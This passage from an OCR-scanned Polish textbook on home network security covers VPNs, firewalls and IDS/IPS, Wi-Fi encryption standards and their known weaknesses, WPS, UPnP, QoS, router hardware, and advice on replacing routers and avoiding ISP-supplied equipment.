moga komunikowac sie tak, jakby znajdowatly sie w tej samej sieci. Jest to oczy-
wiscie struktura wylacznie logiczna, gdyz zazwyczaj nie ma miedzy nimi bezpo-
$redniego polaczenia fizycznego. Oczywiscie taka sytuacja moze wystapic, jesli
dwa hosty z punktu A lacza sie do serwera w sieci B lub jesli wykorzystujemy po-
laczenia site-to-site (rysunek 7), czyli gdy potaczymy VPN-em dwie sieci prywatne”.

j—PE IP } { PUBLICZNE IP -h"j

HOST W PODSIECI LOKALNEJ 10.55.32.112 TUNEL 75554523 HOST W PODSIECI LOKALNEJ
10.10.10.0/24 VEN 10.10.11.0/24

Rysunek 7. Przyktad potgczenia VPN site-to-site

Dane przesylane w takich sieciach sa z reguly szyfrowane, ale moga by¢ tez
dodatkowo kompresowane w celu ograniczenia przesylanego ruchu, co ma
znaczenie zwlaszcza w przypadkach polgczen wykonywanych z poziomu urza-
dzen mobilnych. By zwiekszy¢ bezpieczenstwo samej transmisji, do polaczenia
moga by¢ uzywane hasta, certyfikaty lub oba te rozwiazania.

Polaczenie z korporacyjna siecia VPN moze wymagac uzycia dodatkowe-
go sposobu potwierdzenia tozsamosci: uwierzytelnienia dwuskladnikowego
(ang. two-factor authentication, 2FA). Widoczne jest coraz czestsze zastoso-
wanie tej metody w zwigzku z coraz wiekszym zapotrzebowaniem na prace
zdalna w miejscach, w ktérych poufnos¢ jest priorytetem (biznes, medycyna,
finanse i administracja). Wszystkie te branze daza do zwiekszania bezpieczen-
stwa danych przy realizowaniu polaczen do ich infrastruktury firmowe;j.

Popularne implementacje protokolu VPN to: OpenVPN, PPTP (potencjalnie
niebezpieczny)?, IPsec, SSTP lub WireGuard. W domowych routerach spotka-
my sie z implementacjami PPTP i OpenVPN, czasem IPsec, ale bedziemy mogli
tez skorzysta¢ z funkcji VPN pass-through do przepuszczania takiego ruchu
bezposrednio do hostow.

Wiekszos$¢ komercyjnych rozwigzan do szyfrowania danych uzywa stan-
dardu AES-256 (szyfr AES z kluczem 256-bitowym), w przypadku rozwigzan
darmowych moga to byc¢ krétsze klucze lub inne algorytmy szyfrujace.

* Zainteresowanych tematem zachecam do lektury tekstu o typach VPN-6w, zob. Fortinet, What Is A Site-to-Site VPN?.


https://fortinet.com/resources/cyberglossary/what-is-site-to-site-vpn
https://fortinet.com/resources/cyberglossary/what-is-site-to-site-vpn
https://resources.infosecinstitute.com/topic/the-pptp-vpn-protocol-is-it-safe/
https://fortinet.com/resources/cyberglossary/what-is-site-to-site-vpn
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Firewall a IPS/IDS - podstawowa metoda ochrony sieci jest oferowany
przez kazdy router firewall, znany w jezyku polskim jako zapora sieciowa
(rysunek 8%). Jest to proste rozwigzanie przepuszczajace lub blokujace wy-
konywanie polaczen z sieci badz do sieci za po$rednictwem poszczegdlnych
portéw. Bardziej zaawansowane jego formy spotka¢ mozna w kazdym syste-
mie operacyjnym — Windows oferuje zapore systemowa (obecnie Windows De-
fender lub Microsoft Defender, ktérego zapora jest cze$cig®), Linux korzysta
np. z narzedzia iptables® lub uproszczonego oprogramowania UFW?, znanego
z dystrybucji opartych na Debianie.

sie¢ firmowa o
zapora sieciowa
[\ / ]
BHER A

L L T TV ]
[T [C
(= ]

________ zh’l} Intrusion
o

Prevention System

router

Rysunek 8. Umiejscowienie zapory sieciowej i systemu typu IPS w sieci

Bardziej wyszukanym rozwiazaniem sg dobrze znane z zastosowan komercyj-
nych, chociaz wcale juz nie nowe3?, a dopiero raczkujace w routerach domo-
wych, systemy IDS (Intrusion Detection System) i IPS (Intrusion Prevention
System). Pierwszy z nich ma za zadanie wykrywac i informowac o potencjal-
nych prébach ataku, drugi za§ ma aktywnie atakom przeciwdziata¢. Wykrywa
nietypowe zachowania i za pomoca analizatora pakietéw blokuje potencjalnie
niechciang komunikacje. Dodatkowo systemy te korzystaja z zewnetrznych baz
sygnatur publikowanych w Internecie, zawierajacych informacje o potencjal-
nie niebezpiecznych serwerach, z ktérymi IPS powinien zrywac polaczenie lub
na podstawie analizy cech charakterystycznych atakéw sieciowych odpowied-
nio wczesnie je wykrywac i blokowac.

Sam IPS/IDS moze by¢ réwniez wdrozony na urzadzeniu koricowym, np. kom-
puterze, a nie tylko na routerze. Niestety, nie jest to rozwigzanie optymalne, po-
niewaz wymaga wpuszczenia niebezpiecznego ruchu do sieci i dopiero pdzniej
zablokowania go. Jest tez bardziej kosztowne wydajnosciowo, gdyz wykonaé
te operacje musi procesor urzadzen konicowych, a nie dedykowany do takich
zadan procesor routera®.

23


https://okta.com/identity-101/intrusion-prevention-system/
https://www.microsoft.com/pl-pl/windows/comprehensive-security
https://www.microsoft.com/pl-pl/windows/comprehensive-security
https://linux.die.net/man/8/iptables
https://wiki.ubuntu.com/UncomplicatedFirewall
https://fossies.org/linux/snort/ChangeLog
http://pl.docs.pld-linux.org/uslugi_snort.html
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W komercyjnych zastosowaniach spotyka sie jeszcze pojecie Next-Genera-
tion Firewall - NGFW (zapora sieciowa nowej generacji)*. Od tradycyjnych
rozwiazan rozni sie dokladniejsza analizg pakietéw oraz tym, ze oferuje funk-
cje na wyzszych warstwach modelu TCP, jak warstwa aplikacji. Do takich funk-
cjinaleza m.in. wykrywanie tresci lub blokowanie ruchu szkodliwych aplikacji.
Korzystajac z tradycyjnego firewalla, nigdy nie wiemy, czy po standardowym
porcie, np. HTTP 80 lub szyfrowanym HTTPS 443, kto§ wykonuje polaczenie
do strony internetowej, czy wlasnie komunikuje sie¢ z serwerem botnetu, czy
moze korzysta z sieci Torrent, co pozwala sprawdzi¢ dopiero analiza pakietdw
dokladniejsza niz ta z systemdéw opartych na IPS. Warto zaznaczy¢, ze serwer
C2 (ang. Command and Control) moze wykorzystywac strone WWW do komuni-
kacji. Oznacza to, ze w obu tych przypadkach moze zachodzi¢ sytuacja, ze wy-
konywane jest polaczenie do witryny internetowej, a dokladniej — do serwera
WWW, co podkresla znaczenie precyzyjnej analizy w identyfikacji zagrozen.

W bezprzewodowych sieciach Wi-Fi stosuje sie rézne standardy szyfro-
wania, takie jak opisane ponizej metody: WEP, TKIP, WPA, a takze AES CCMP
(Counter Mode with Cipher Block Chaining Message Authentication Code Pro-
tocol). WEP wykorzystuje algorytm RC4, TKIP skupia sie na zapewnieniu inte-
gralnosci i generowaniu kluczy per pakiet, a WPA1 jest oznaczeniem dla pro-
tokotu TKIP. AES to zaawansowany standard do szyfrowania danych, a CCMP
zastepuje TKIP w nowoczesnych implementacjach metod szyfrowania: WEP,
TKIP, WPA oraz AES".

WEP (Wired Equivalent Privacy) jest przestarzalym, niebezpiecznym pro-
tokolem opartym na algorytmie RC4, symetrycznym szyfrze strumieniowym
z kluczem poufnym. Juz w 2001 roku wykazano wady implementacji klucza ze
wzgledu na slabe wektory inicjujace i potwierdzono do$wiadczalnie mozliwo$¢
ztamania go%* za pomocg udostepnionego pdzniej darmowego oprogramowa-
nia AirSnort. Innym opublikowanym atakiem jest Caffe Latte Attack®, polega-
jacy na zalaniu klienta zapytaniami ARP w celu otrzymania klucza. Przecietny
czas niezbedny do skutecznego przeprowadzenia tego ataku to mniej niz sze$¢
minut, wiec wystarczajaco krotko, by wykonaé¢ go w sposéb niezauwazalny,
nawet stojac pod drzwiami mieszkania.

Starszy standard zostal zastapiony nowszym rozwigzaniem, TKIP (Tem-
poral Key Integrity Protocol). Protokot ten nadal wykorzystuje ten sam algo-
rytm RC4, ale znacznie utrudniono w nim odczytanie wektora inicjujacego,
niezbednego do przeprowadzenia ataku poprzez uzycie hashowania jego
wartos$ci oraz wymuszenie generowania nowych kluczy po kazdych 10 000
wymienionych pakietéw. Mimo poprawy zabezpieczen i ten standard w pew-
nej konfiguracji nadal moze nie zapewnia¢ bezpieczenstwa. W przypadku

* Zob. tez Polak L, Kryptologia z lotu ptaka [w:] Wprowadzenie do bezpieczeristwa IT, t. 1, Krakéw 2023, s. 461-507.


http://esecurityplanet.com/security-buying-guides/intro-to-next-generation-firewalls.html
http://www0.cs.ucl.ac.uk/staff/M.Handley/
papers/fragmentation.pdf
http://www0.cs.ucl.ac.uk/staff/M.Handley/
papers/fragmentation.pdf
https://esecurityplanet.com/mobile/the-caffe-latte-attack-how-it-works-and-how-to-block-it/
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korzystania z protokotu TKIP w standardzie WPA3” (Wi-Fi Protected Access),
ktéry uzywa kluczy o dtugosci 128 bitéw, wczesniejsze wersje tego standardu
mialy dwie opcje dtugosci klucza: 64-bitowa lub 128-bitowa. Mialy one jednak
te same wady co WEP z powodu zaimplementowanej kompatybilnosci wstecz-
nej. Z tej przyczyny agresor moze w pewnej sytuacji przeprowadzi¢ skuteczny
atak kryptoanalityczny o ograniczonym zasiegu®.

Sam wspomniany wyzej standard WPA obecnie funkcjonuje gtéwnie w dru-
giej i — cze$ciowo — trzeciej wersji. Pierwsza zostala potraktowana jako punkt
posredni pomiedzy WPA2 a niebezpiecznym juz wtedy protokolem WEP opisa-
nym powyzej. Zmiana na wersje drugg wigzala sie tez z porzuceniem TKIP na
rzecz AES. Advanced Encryption Standard?® to symetryczny szyfr blokowy, kté-
ry jest implementacja pewnego podzbioru algorytmu Rijndael®, stworzonego
przez dwdch belgijskich kryptograféw, Joana Daemena oraz Vincenta Rijmena.
W przypadku WPA Kklucz szyfrujacy zostal wydtuzony do 256 bitéw. Niemniej
jednak, mimo zastosowania zaawansowanego standardu, istnieja trudne do
wykorzystania i obarczone duza niepewnoscia ataki na to rozwigzanie*.

Kolejna wersja standardu, WPA3*, wymusza uzywanie szyfrowania za po-
moca minimum AES-128, czyli z wykorzystaniem 128-bitowego klucza. Pierw-
sza wersja WPA powinna by¢ juz pomijana z powodu duzej podatno$ci na ataki.

W sytuacji, gdy router pracuje w trybie Personal, wszyscy podlaczajacy sie
do sieci korzystaja z tego samego klucza, mozna wiec postarac sie o wykorzy-
stanie atakow slownikowych na ten klucz®. Nie tylko WPA-PSK (Pre-shared
Key), czyli wersja protokolu WPA ze wspéldzielonym haslem, jest podatna na
ataki, réwniez WPA-TKIP ulega atakom kryptograficznym®:.

WPA2 takze skutecznie zaatakowano, ale przeprowadzenie ataku wymaga-
1o juz wlozenia wiekszego naktadu pracy. Opisy przyktadowych atakéw wraz
z demonstracjami mozna znalez¢ w literaturze®. Taki atak wykorzystuje podat-
no$¢ Linuxa i Androida pozwalajaca na ponownag instalacje catych zerowych
Kluczy kryptograficznych. Inny atak to mozliwo$¢ ztamania hasta - i tu, jak
mozna bylo sie spodziewac, im jest ono diuzsze, tym trudniej je zlamac*s. WPA3
tez jest juz ,bohaterem” kilku rodzajéw skutecznych atakow*".

Istnieje jeszcze dodatkowa implementacja standardu WPA/WPA2 - Enter-
prise. Jest to bardziej skomplikowane rozwiazanie, czesciej spotykane w sie-
ciach firmowych lub akademickich. Do dzialania wymaga obecno$ci w sieci
serwera RADIUS.

Tu klucze szyfrowania sa kazdorazowo negocjowane i przydzielane przez
serwer kazdemu uzytkownikowi z osobna. Uwierzytelnienie do sieci wymaga
uzycia dodatkowego elementu poswiadczajacego, jak: token, uzytkownik i ha-
slo, certyfikat czy karta kryptograficzna. W tej metodzie nie ma klucza wspoét-
dzielonego, ktéry moze wyciec i wymusi¢ przez to jego zmiane na wszystkich
urzadzeniach podlaczonych do sieci Wi-Fi.
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W podobny sposéb odbywa sie tez zarzadzanie aktywnymi uzytkownikami.
Administrator moze usunac¢ konto uzytkownika lub uniewazni¢ wystawiony
mu certyfikat bez konieczno$ci wprowadzania zmian na poszczegélnych punk-
tach dostepowych?.

CCMP¥ jest standardowym protokolem szyfrowania dla standardu WPA2
1 oferuje znacznie wieksze bezpieczenstwo niz protokoty WEP i TKIP w WPA.
Zapewnia poufno$¢ danych, uwierzytelnianie oraz kontrole dostepu. Ze wzgle-
du na uzycie 128-bitowego klucza CCMP jest odporny na ataki do 2% operacji,
chociaz istniejg pewne ogdélne ataki Meet-in-the-Middle, ktére moga ograniczy¢
teoretyczng site klucza®.

WPS (Wi-Fi Protected Setup) — to funkcja pozwalajaca na podlaczenie w prosty
sposob nowych sprzetéw do zabezpieczonej sieci bezprzewodowej. Wymaga
fizycznego zatwierdzenia podlgczenia, zazwyczaj przez wcisniecie odpowied-
niego przycisku na panelu samego routera lub podanie kodu PIN. Niestety, taki
kod jest podatny na ataki silowe (ang. brute-force) lub bardziej wyrafinowana
metode, pixie dust, majaca na celu odgadniecie o§miocyfrowego PIN-u w kilka
minut”. W poréwnaniu z nig zwyk}y atak brute-force zajmowalby kilka godzin.
W szerszej perspektywie funkcja WPS powinna by¢ traktowana jako potencjal-
nie niebezpieczna.

UPnP (Universal Plug-and-Play) — to usluga powstala w celu ulatwienia
podiaczania sprzetu domowego do sieci. Do najczestszych sprzetéw zalicza
sie: urzadzenia audio-wideo, konsole, kamery oraz urzadzenia IoT. Jesli sprzet
koncowy komunikuje sie z kompatybilnym routerem i przesle konfiguracje pa-
rametréw, jakich potrzebuje do prawidlowego polaczenia, np. odpowiedniego
otwartego portu sieciowego, to urzadzenie wykona operacje zmiany lub doda-
nia wpisu w zaporze sieciowej bez naszego udziatu.

QoS (Quality of Service™, rysunek 95!) — to funkcja pozwalajaca na nadawa-
nie réznych priorytetéw réznym typom ruchu w sieci. Router to w zasadzie
dos¢ proste urzadzenie, umozliwiajace podiaczenie wielu innych urzadzen do
sieci. Czasem bedzie to laptop, a czasem - inteligentna zar6wka LED. Twdrcy
sprzetu, zeby poprawi¢ komunikacje z tymi wlasnie przeréznymi urzadzenia-
mi, zaczeli oferowa¢ mozliwo$¢ budowania inteligentnych kolejek do przesytu
danych w sieci. W wiekszosci przypadkéw sa to automatyczne tryby definio-
wane przez router, ale nie zawsze. Przykladowo routery marki MikroTik po-
zwalaja na calkiem zaawansowane formowanie ruchu, wykorzystujac poza
kolejkami réwniez opcje Fasttrack®? w firewallu.

* Lista routeréw podatnych na ataki pixie dusts.

** Wiecej na ten temat zob. Konkowski K., QoS w sieciach agregacyjnych, Cisco, 2011; Molenaar R., WRED (Weighted
Random Early Detection), NetworkLessons.com.
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Sprzety domowe nie zawsze potrzebuja najwiekszej predkosci pobierania
danych z Internetu, dlatego urzadzenia brzegowe wyposazono w opcje pozwa-
lajaca na okreslenie wiekszej lub mniejszej przepustowosci, z zachowaniem
przy tym stabilnego lacza dla pozostalych urzadzen réwniez z niego korzy-
stajacych. Nowe routery czesto oferujg przygotowane przez producenta pro-
file, umozliwiajace automatyczne dopasowanie sieci w celu przyznawania
pierwszenstwa np. ruchu zwigzanego z transferem wideo lub tego zwigzane-
g0 z grami sieciowymi. Niestety, poza zaletami, czasem uzycie QoS wiaze sie z
pewnymi ograniczeniami. Nie zawsze ruch, ktéry uwazamy za wazny, zostanie
prawidlowo rozpoznany, zwlaszcza przez nowsze rozwigzania adaptacyjne,
co moze doprowadzi¢ nawet do spadku wydajno$ci w wypadku naszej ustugi.
Dodatkowo niektore starsze routery po wlaczeniu tego trybu pracy potrafity
ogranicza¢ maksymalny dostepny transfer na poziomie swojego mikroproce-
sora. Nie byty wyposazone w odpowiednio szybkie podzespoly, zeby robi¢ to
bezstratnie — i cze$¢ swojej mocy obliczeniowej przeznaczaly na obstuge dzie-
lenia tacza. Warto mie¢ zatem Swiadomo$¢, ze rozwiazanie to nie zawsze moze
okazac sie idealne.

przed QoS po QoS

REKREACYJNY
KRYTYCZNY CZASOWO

POWIAZANY.Z BIZNESE

obcigzenie sieciowe

ruch audio audio

ruch wideo wideo

: kolejka priorytetowa

czarno-biata + WRED catkowita
dostepna
przepustowosc

Best-Effort

Rysunek 9. Idea dziatania funkcji QoS w sieci

Routery oferuja kilka dodatkowych trybéw pracy, dlatego, chociaz podsta-
wowym ich zadaniem jest trasowanie, to dokumentacja producentéw czesto
nazywa je wielofunkcyjnymi urzadzeniami bezprzewodowymi. Zestawienie
trybdw zamieszczone zostato w tabeli 3%.
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Tabela 3. Zestawienie typoéw dostepowych w sieciach Wi-Fi

Punkt dostepowy

Router bezprzewodowy

Repeater lub Mesh

Most

Nie oferuje funkcji routera - zazwyczaj dziata jak switch i znaj-
duje sie za innym routerem

e
0

Typowe zastosowanie domowe - router tgczacy z siecig dostaw-

cy Internetu

) ® -
0

Dwa tryby pozwalajace na rozszerzenie naszej sieci Wi-Fi, gdy
taczymy sie z innym routerem - Mesh czesto dostepny jest
réwniez po taczu ethernetowym - LAN

SSID: abo

Tryb do potaczenia dwoch routeréw, gdy chcemy, zeby oferowa-
ty rézne sieci Wi-Fi lub inne podsieci

g GUEST

551D abe SSID: 123



Budowa routera

Tryb klienta Tryb pozwalajacy na prace routera jako adaptera Wi-Fi dla urza-
dzen, ktore go nie posiadaja

= | D \

Tryb klienta punktu doste-  Tryb pracy pozwalajacy na dystrybuowanie dodatkowe;j sieci Wi-
powego -Fi po potaczeniu do routera przez pierwsza sie¢ Wi-Fi - w tym
przypadku jest ona siecig WAN

|

BUDOWA ROUTERA

Urzadzeniem, ktore taczy sieci domowe z siecia Internet (chociaz nie tylko, bo
moze réwniez taczyc¢ rozne sieci), jest router. Poswieémy jeden krotki rozdzial
na przedstawienie ideowego dzialania samego urzadzenia.

Typowa architektura routerow

TYPOWA ARCHITEKTURA OBECNYCH ROUTEROW

» Serce kazdego routera to trzy procesory - jeden gtéwny oraz dwa pomocnicze do obstugi
sieci Wi-Fi.

» Niezaleznie od dostawcy uktadu scalonego routera architektura zasadniczo sig nie
rozni.

» Nie wszystkie szczegdty dotyczace dziatania routeréw sa szeroko publikowane ze
wzgledéw bezpieczenstwa. Opublikowanie zbyt wielu informacji technicznych moze
utatwic¢ potencjalnym atakujacym znalezienie luk w zabezpieczeniach. Ponadto

przedsigbiorstwa czesto traktuja pewne aspekty swoich produktéw jako tajemnice
handlowa, aby zachowa¢ przewage konkurencyjna.

Na poczatek spojrzenie na typowy router, jaki mozna spotka¢ w domach — Mi-
kroTik Routerboard RB951G-2HnD (rysunek 1054).
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Rysunek 10. MikroTik Routerboard RB951G-2HnD

Patrzac od lewej strony na rysunku 10, po kolei oméwimy zastosowanie typo-
wych portéw i wskaznikéw, ktére spotkamy w urzadzeniu:

POWER - Zasilanie — miejsce, do ktérego podlaczamy zasilacz, zazwyczaj
dotaczony przez producenta sprzetu.

RES - Reset — typowy spos6b na przywracanie urzadzenia do stanu fa-
brycznego polega na wcisnieciu ukrytego w otworze przycisku i przy-
trzymaniu go kilka lub kilkanascie sekund. Procedura moze réznic sie
w zalezno$ci od modelu lub producenta, ale jest raczej typowa.

PWR - wskaznik informujacy o dzialaniu urzadzenia.

ACT - dioda informujaca o aktywnym ruchu sieciowym (czesto umiesz-
czona jest na portach w formie matych diod znajdujacych sie obok miej-
sca wtyku). W tym modelu funkcje sygnalizacji pracy poszczegélnych
portéw wskazuje panel na goérze urzadzenia.

PORTY LAN - standardowe porty obstlugujgce komunikacje LAN lub WAN
(wtyk typu 8p8c, potocznie zwany RJ-45).

PORT WAN - w czeS$ci urzadzen port, ktérym komunikujemy sie z na-
szym dostawca Internetu, bedzie oznaczony w inny sposéb.

PORT BNC/DSL/xDSL/ADSL - inne porty WAN spotykane w routerach.
BN, czyli ztacze koncentryczne, jest czesto jeszcze spotykanym portem,
gdy dostawca Internetu jest operator sieci telewizyjne;j. L.acza oparte na
DSL korzystaja z wtyku RJ-11 znanego z telefonii stacjonarnej.

PORT PoE - Power over Ethernet — specjalny port LAN pozwalajgcy row-
niez na zasilenie innego urzadzenia za jego pomoca (np. kamery IP).
PORT USB - niektdre routery oferuja mozliwos$¢ podiagczenia do nich in-
nych urzadzen komunikujacych sie za pomocg standardu USB, umozliwia-
jac korzystanie z nich z sieci LAN (np. drukarki nieposiadajgce modutu



Budowa routera

Wi-Fi lub dyski twarde udostepnione jako udzialy sieciowe). Inng funkcja
tego portu moze by¢ podlaczenie modutu LTE i praca w trybie Dual WAN
lub wykorzystywanie go jako lacza zapasowego.

Spéjrzmy teraz na ideowy schemat tego urzadzenia (rysunek 11).
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Rysunek 11. Schemat ideowy MikroTik Routerboard RB951G-2HnD

Gdy spojrzymy na uklad ideowy routera, mozemy latwo zauwazy¢ gtéwny
jego komponent, jakim jest uklad Atheros 93445 SOC. Zawieraja sie w nim dwa
skladniki — CPU, czyli gléwny procesor, oraz dwa kontrolery odpowiedzialne za
obstuge sieci Wi-Fi w dwo6ch pasmach.

Patrzac na prawa strone rysunku 11, widzimy dwa niezalezne lancuchy
stuzace do obstugi Wi-Fi, polaczone z ukladem poprzez anteny/wzmacniacze
sygnalu.

Procesor o mocy 600 MHz komunikuje sie z pozostalymi ukladami — USB,
brzeczykiem, steruje diodami LED. Dodatkowo uklad wyposazony jest w pa-
mieé¢ RAM przechowujacg informacje ulotne (np. tabele routingu - informacje,
do ktdérych portéw podiaczone jest konkretne urzadzenie) oraz NAND. Ta dru-
ga shuzy do przechowywania firmware’u urzadzenia. Moze by¢ nadpisywana
w chwili aktualizacji lub zmiany oprogramowania sterujacego.

Kolejnym elementem, kt6ry znalaz} sie w urzadzeniu, jest Atheros 832756
—uklad gigabitowego switcha. To z nim komunikujg sie urzadzenia podlaczone
do poszczegolnych portéw LAN i to on decyduje, czy ruch, ktéry do niego trafia,
powinien zosta¢ przekierowany dalej. Jesli tak — ruch zostanie przekierowany
do ukladu routera, jesli nie — trafi do innego portu (przy zalozeniu, ze switch
mial informacje o wyszukiwanym hoscie w swojej bazie).
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Dla potwierdzenia, ze zasadniczo ten uklad ideowy jest charakterystyczny
dla wszystkich routeréw, na rysunku 1257 przedstawiona zostala rzeczywista
plytka lutowana PCB routera TP-Link Archer C7.

Rysunek 12. Uktad PCB routera TP-Link Archer C7

Podobnie jak na ideowym rysunku 11 z zupelnie innego modelu, innego producen-

ta, mozemy znalez¢ tu dwie wewnetrzne anteny Wi-Fi, dwa banki pamieci: RAM

oraz programowalng (FLASH). Oczywiscie sg tu réwniez procesory i modut switcha.
Uzyte uklady moga sie r6zni¢, ale ideowo realizuja takie same operacje.

WYBOR SPRZETU | EWENTUALNE PROBLEMY

Zaczniemy od przegladu najczestszych problemow, z ktérymi z duza doza praw-
dopodobienstwa uzytkownik konicowy predzej czy pézniej zetknie sie podczas
wyboru nowego sprzetu. Cze$¢ z opisanych tu przyktadowych atakéw warto
bra¢ pod uwage, nawet jesli wydaja sie malo prawdopodobne. Do$¢ oczywiste
jest to, ze wiekszo$¢ podatno$ci domowych routeréw wykorzystywana jest przez
automaty, a nie przez wyspecjalizowane grupy hackeréw. Uzytkownicy domowi
sg dla nich zbyt malo znaczacy, zeby angazowac sztaby ludzi do przeprowadze-
nia precyzyjnej analizy sieci i wielomiesiecznego $ledzenia ruchu. Mimo wszyst-
ko sa to ataki, ktére moga sie zdarzy¢, réwniez motywowane zazdroscig®.
Poswiece tez chwile alternatywnym metodom budowania sieci opartych na
darmowych lub niskobudzetowych rozwiazaniach wirtualnych lub opartych na
systemach alternatywnych wobec typowych systeméw wbhudowanych w routery.


https://bitdefender.com/blog/hotforsecurity/jealous-husband-used-smart-device-snoop-wife
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Mam juz router - kiedy nalezy pomyslec o jego wymianie?

ZALECENIA: KIEDY WYMIENIC ROUTER

» brak wsparcia producenta,
» upublicznione krytyczne podatnosci,

» model nie pozwala na uzycie alternatywnego oprogramowania firmware.

0 ile oczywiste wydaja sie motywacje zwigzane z utratg mozliwosci wykorzy-
stania pelnej przepustowosci tacza, gdy je wymieniamy lub gdy urzadzenie za-
czyna sprawiac problemy, o tyle znacznie rzadziej myslimy o wymianie sprzetu
w zwigzku z bezpieczenstwem. Jest to jednak kwestia, ktérej pomijanie moze
okazac sie bardzo bolesne w skutkach.

Jako pierwsze warto sprawdzi¢ wsparcie producenta. Jesli router juz od
dluzszego czasu nie dostaje aktualizacji oprogramowania wewnetrznego, to
jest spora szansa, ze predzej czy pdZniej stanie sie podatny na jakis atak. Nie-
stety, spora cze$¢ producentéw szybko przestaje rozwija¢ oprogramowanie
wewnetrzne swoich urzadzen, wiec aktualizowane sa one dwu- lub trzykrot-
nie, nawet gdy jakie$ podatnosci dotyczace tego konkretnego modelu zostana
pdZniej udostepnione publicznie. Dzieki temu potencjalny hacker, wybierajac
wektor ataku, moze skorzysta¢ z publicznie znanej podatnosci. W takiej sytu-
acji warto sprawdzi¢, czy posiadany router ma mozliwo$¢ zaimplementowania
alternatywnego systemu, jak np. OpenWrt.

Producenci biznesowi oferujg wieloletnie cykle zycia produktu, ale przy
rozwigzaniach domowych trudno liczy¢ na takie rozwigzanie, wiec czasem
warto postawic¢ na bezpieczenstwo i wymieni¢ urzadzenie niegwarantujace
takiego wsparcia.

Druga, rownie wazna, kwestig jest kontrola, czy w zakresie posiadanego
przez nas sprzetu nie pojawila sie jaka$ krytyczna podatnos¢, ktdrej nie ma
mozliwo$ci naprawy. Czasem jest to jednoznacznie stwierdzone w bledach
opublikowanych jako btedy implementacyjne producenta, ktérych zwyczajnie
nie da sie poprawi¢, dystrybuujac tylko nowsza wersje oprogramowania, a wy-
magana jest przebudowa samego urzadzenia po stronie producenta. Projekto-
wanie elektroniki nie jest latwym zadaniem, zwtaszcza gdy chcemy robi¢ to,
zapewniajac uzytkownikowi konicowemu bezpieczenstwo — w tym przypadku
rowniez sieciowe.
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Dlaczego warto wybra¢ wtasny sprzet, a nie sprzet od operatora sieci

ZALECENIA: WYBOR W ASNEGO SPRZETU

» Zadbaj o swoje bezpieczenstwo, ustawiajac hasto, jakie sam wybierzesz.
» Wybierz sprzet, ktory spetni Twoje potrzeby, a nie potrzeby dostawcy Internetu.

» Ustaw DNS-y, ktdre utrudniajg rozpoznanie odwiedzanych przez Ciebie stron (jest to
rozwiazanie, ktére moze nie by¢ dostepne na sprzecie wypozyczonym).

Element, ktéry moze wydawac sie bardzo wygodnym rozwiazaniem, ponie-
waz nie musimy sie martwi¢ o konfiguracje urzadzenia, zdajac sie na doswiad-
czenie i wiedze dostawcy Internetu, to dostarczenie sprzetu przez operatora
ustugi. To niestety czesto jedyna zaleta, a dodatkowo daje ona ztudne poczucie
bezpieczenstwa. Sprzet dostarczany w taki sposéb nierzadko okazuje sie nieza-
dowalajacy pod wzgledem wydajnosci, a takze bezpieczenstwa. Czasem takie
urzadzenia nie majg zadnego wsparcia, gdyz zostaty kupione przez operatora
hurtowo kilka lat wcze$niej — i to stan magazynu niejako wymusza dotaczanie
ich do uméw klientom, dopdki te zapasy calkowicie sie nie wyczerpig lub sprzet
naprawde przestanie spelnia¢ wymogi zapewniajace przyzwoite parametry.

Udostepniajac sprzet, operator moze narzucac¢ pewne ustawienia, jak wia-
sny serwer DNS, ktore bedzie dystrybuowal. Przepuszczajac przez niego za-
pytania, dajemy niejako mozliwo$¢ wgladu w nie, a co za tym idzie — zdobycia
informacji o tym, jakie strony odwiedzamy.

Posiadanie hasta dostepowego do sprzetu umozliwia potencjalnie nierzetel-
nym pracownikom latwe wlamanie sie. Oczywiscie nie jest to czesta praktyka,
ale zdarzaja sie zawiedzeni administratorzy, ktérzy postanawiaja zemsci¢ sie
na firmach, chociazby z powodu zwolnien®.

Dodatkowo czesto operatorowi nie zalezy na wymianach dostarczonego
sprzetu. Wady sprzetu, jesli je rozpoznamy, musimy zgtaszac dostawcy i liczy¢
sie z tym, ze dostaniemy sprzet podobnej klasy, ktéry wcale nie musi speinia¢
najnowszych standardéw. Bedac wlascicielami sprzetu, mozemy go spokojnie
wymienia¢ na bardziej nowoczesne modele, jesli widzimy problemy w dziata-
niu obecnego sprzetu.

Ostatni problem to fakt, ze w konfiguracjach oraz we whudowanym opro-
gramowaniu zwyczajnie zdarzaja sie bledy. Czasem, przez nieuwage, kto$
moze zatwierdzi¢ niebezpieczng zmiane konfiguracji w sieci albo tylko w tym
jednym routerze, ktéry obstuguje nasza sie¢. Wtedy, nawet jesli na dostawcy
moze cigzy¢ jakas odpowiedzialno$¢ (bo zgodzil sie na to w umowie), to i tak
z potencjalnymi szkodami, jakie taki btad moze spowodowac¢, w duzej mierze
bedziemy musieli radzi¢ sobie sami.


https://bleepingcomputer.com/news/security/fired-it-admin-revenge-hacks-school-bywiping-data-changing-passwords/

Wybér sprzetu i ewentualne prablemy

Przyktad podatnosci

Ciekawa krytyczna podatnos$ciag dostepna w routerach, ktéra, na szczescie,
naprawiono, byt blad w routerach marki ASUS korzystajacych z firmware
ASUSWRT w wersji 3.0.0.378.9460. Blad polegat na braku wpisu w tabeli iptables
blokujacego dostep do panelu administracyjnego z sieci zewnetrznej. Zeby na niego
trafi¢, wystarczyto wylaczy¢ obstuge wbhudowanego firewalla. O ile brzmi to moze
logicznie, to nie do konca tak jest.

ASUS w swoich routerach oferuje mozliwo$¢ wiaczenia lub wylaczenia do-
stepu do panelu z sieci WAN w zupelnie innym miejscu, natomiast wylaczenie
zapory pod spodem nadpisywatlo to ustawienie.

Ostatecznie router potencjalnej ofiary widoczny byt z sieci niezaleznie od
ustawienia dostepu spoza LAN, gdy tylko wylaczyla ona wbhudowany firewallS!.

W przypadku uzywania wlasnego routera przewaga nad sprzetem opera-
tora wydaje sie do$¢ oczywista. W takiej sytuacji mozemy przeprowadzi¢ ak-
tualizacje, gdy tylko dowiemy sie o nowszej wersji oprogramowania, podczas
gdy nasz dostawca moze nie wykonywa¢é aktualizacji w ogoéle.

Planowanie sieci domowej oraz jej skalowalnos¢

ZALECENIA: PLANOWANIE SIECI

» Zaplanuj, jak bedzie wygladac siec, jeszcze przed dokonaniem zakupu urzadzen.

» Przemysl, czy bedziesz potrzebowat oddzielnego sprzetu do czynnosci zwigzanych
np. z bankowoscia.

» Wez pod uwage mozliwy rozrost sieci w najblizszych latach.

» Sprawdz, czy wszystkie urzadzenia bedg kompatybilne z nowymi protokotami, takimi
jak WPA3, oraz czy spetniaja istniejgce standardy zwigzane z bezpieczenstwem sieci.

Wybierajac sprzet, ktéry chcemy kupi¢, warto poswieci¢ chwile i zaplanowad,
